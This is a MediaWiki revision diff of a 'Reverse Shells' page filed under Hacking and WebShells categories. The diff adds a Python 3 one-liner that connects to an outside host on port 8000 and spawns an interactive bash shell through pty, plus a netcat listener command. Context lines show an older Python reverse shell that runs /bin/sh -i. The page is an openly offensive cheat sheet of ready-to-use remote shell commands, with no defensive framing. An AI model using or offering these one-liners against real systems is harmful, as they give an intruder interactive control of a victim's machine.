Changes
Jump to navigation
Jump to search
← Older edit
Reverse Shells
(edit)
Revision as of 08:35, 17 September 2025
345 bytes added
,
17 September
m
no edit summary
Line 28:
Line 28:
os.dup2(s.fileno(),2)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
p=subprocess.call(["/bin/sh","-i"])
+
</syntaxhighlight>
+
+
==Python 3==
+
<syntaxhighlight lang="bash">
+
python3 -c 'import socket,os,pty; s=socket.create_connection(("herrerosolis.com",8000)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; os.putenv("TERM","xterm-256color"); pty.spawn("/bin/bash")'
</syntaxhighlight>
</syntaxhighlight>
Line 75:
Line 80:
$ stty rows 55 columns 211
$ stty rows 55 columns 211
−
</syntaxhighlight><
br
/>
+
</syntaxhighlight>
+
+
== Reverse Shell Listener ==
+
<syntaxhighlight lang="bash">
+
nc -lvp 8000 -k
+
</
syntaxhighlight
>
[[Category:Hacking]]
[[Category:Hacking]]
[[Category:WebShell]]
[[Category:WebShell]]
[[Category:WebShells]]
[[Category:WebShells]]
Rafahsolis
Bureaucrats
,
Administrators
2,306
edits
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Page
Discussion
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Recent changes
Random page
Help about MediaWiki
Tools
Special pages
Printable version